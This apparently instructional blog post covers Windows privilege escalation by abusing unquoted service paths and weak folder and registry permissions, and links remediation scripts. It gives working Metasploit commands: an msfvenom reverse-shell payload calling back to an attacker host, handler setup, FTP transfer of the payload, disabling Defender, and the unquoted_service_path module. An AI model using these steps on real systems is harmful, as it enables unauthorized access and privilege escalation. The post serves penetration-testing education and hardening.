UnQuoted Paths & Weak Permissions

Unquoted Paths and Weak Permissions

All applications referenced here have been altered for demonstration purposes only and at no point were they vulnerable to any of the techniques to gain privileges.

The script to fix Unquoted paths, Folder and Registry permissions weakness is in section 4, at the bottom of the page.

The unquoted paths vulnerability is a security flaw that occurs when a software application or service running on a system references executable files or scripts without enclosing the file path in quotation marks. This can lead to a potentially exploitable security gap because the operating system interprets the unquoted path incorrectly.

When a program with an unquoted path runs, the OS may attempt to execute not just the intended file but also other executables with the same name in directories listed in the system's PATH environment variable. An attacker can place a malicious executable in a directory with a similar name to the one referenced in the unquoted path. When the vulnerable program runs, it might mistakenly execute the malicious code, enabling unauthorized access, privilege escalation, or other security breaches.

To mitigate this vulnerability, developers should always use quotation marks around file paths in their code to ensure that the correct executable is executed, and users should keep their systems updated to patch any discovered unquoted paths. vulnerabilities.

In the provided example, the path to the executable has been altered to be without speech marks front and back.

When the 'Google Update Service' automatically starts 'GoogleUpdate.exe' will be called in the following order, allowing the attacker to drop malware into the following path locations. The file is renamed to match the first word, before the space of the folder directly under it. When it's copied to C:\ the folder path would be 'C:\Program Files', so the file is named program.exe.

C:\Program.exe

C:\Program Files (x86)\Application.exe

C:\Program Files (x86)\Application One\

To successfully drop in your own version of the executable you will require at least Modify permissions to the folder structure.

However, if the 'Path to Executable' was quoted the execution path would be "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" and it would no longer be possible to inject malware into the execution path.

The 2 methods I've used to identify Unquoted path vulnerabilities are as follows.

Now it's time to put the theory into practice.....

This is Part_1, establishing Reverse Shell by abusing Unquoted paths by a logged in User.

The first part will be carried out locally by that disgruntled employee. So everything is above board, Foxit and Google Updater are afflicted with unquoted path issues, kindly added by an IT admin who should know better. Foxit has not been installed to 'Program Files', but to the root of C:\. This variation will allow testing of the permissions when programs are installed outside of their default location. You might suggest that installing to C:\ is a fudge, I've seen numerous applications in some fairly large organisations deploy to C:\ as its mission-critical but legacy or just won't work from 'Program Files'. So this is a fair test.

From Kali (10.1.1.100) type the following to create a .exe to establish a reverse tcp connection from Windows to Kali:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.1.100 LPORT=4455 -f exe -o /root/Desktop/googleupdater.exe

Now for the Reverse Shell.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 10.1.1.100

set LPORT 4455

exploit

To copy from Kali to Windows there are various methods and I like to use a temporary FTP server spawned by Metasploit.

mkdir /tmp/ftproot

msfconsole

use auxiliary/server/ftp

set LHOST 10.1.1.100

run

copy /root/Desktop/googleupdate.exe /tmp/ftproot/ReverseShell.exe

On Windows open the Command prompt and type ftp.exe 10.1.1.100

get ReverseShell.exe c:\Download

At this point Windows Defender will kick in, this is to be expected. For now, disable Defender, I'm hoping to write up how to bypass AV, its certainly possible.

If you're not logged on to Windows as a User, do so.

Now try and copy the Reverse Shell to the following locations, renaming the file as you go.

C:\Program.exe

C:\Program Files (x86)\Google.exe

C:\Program Files (x86)\Google\Update.exe

C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

As a User the default permissions on the root of C:\ allows me to drop the Reverse Shell malware onto the system and run the exploit. But I'm going to focus on C:\Foxit Software\ as a demo.

What about Foxit, it also reported an Unquoted paths issue for 'C:\Foxit Software\Foxit Reader\FoxitReaderUpdateService.exe'.

Foxit was not installed in the default 'Program Files', but off the root of C:\

Awesome, the user is able to drop the Reverse Shell into 'C:\Foxit Software\'

All that remains is rebooting Windows.

And...the unquoted path is exploited.

If for any reason the exploit doesn't work, it's possible to replace the official .exe with your own and not be reliant on unquoted paths at all.

This is Part_2, an existing Reverse Shell under the User context where the aim is to get System.

This time we've already achieved a Reverse Shell back to Metasploit, however its running as a lowly User with no Privileges.

Using the Multihandler again the User has a session

Drop down into the clients shell

shell

whoami

Type exit to exit the shell and then background to escape Meterpreter

use exploit/windows/local/unquoted_service_path

set LHOST 10.1.1.100

set LPORT 4455

set Session 13 (will depend on the current active session)

run

Windows will require rebooting, but first switch back to the multihandler.

use exploit/multi/handler

run

Reboot Windows and logon.

If the Unquoted paths was successful a new Meterpreter session is created.

From Meterpreter type shell and the whoami

Successfully exploited the unquoted path vulnerability and remotely elevated from User to System.

This is Part_3, Folder and Registry Permissions

I'm not going to explain and demonstrate folder permissions, if a user has access to anything greater than Read and Execute it's open for abuse as demonstrated with Foxit.

But.... there's always a 'But'.....whilst auditing a new Windows 10 build, poking around in the registry I noticed that the permissions were not inherited. Then noticed that the Registry Key allowed the Users Full Control.

Again I've induced the issue to replicate the problem (sorry Google Updater) that changes the default permissions so the User has full control.

As the User the ImagePath was updated and directed to the Reverse Shell from earlier.

A quick reboot and happy to report I've elevated from User to System.... again

This is Part_4, The fix

Click on the link (here) for the unquoted script and (here) for the weak folder permissions script, download and run will admin privs.

The script checks for folder weaknesses with the Registry, System folders and any non-default folder off the root of C:\. If User, Authenticated User or Everyone has Full, Modify or Write permissions they are replaced with inherited permissions from C:\, Read and Execute.

& icacls.exe c:\ /remove:g "Authenticated Users" is executed to prevent users creating any new folders.

To test without making changes to the file system, hash '#' the set-acl commands.

As always any feedback or improvements to the page or script are gratefully received.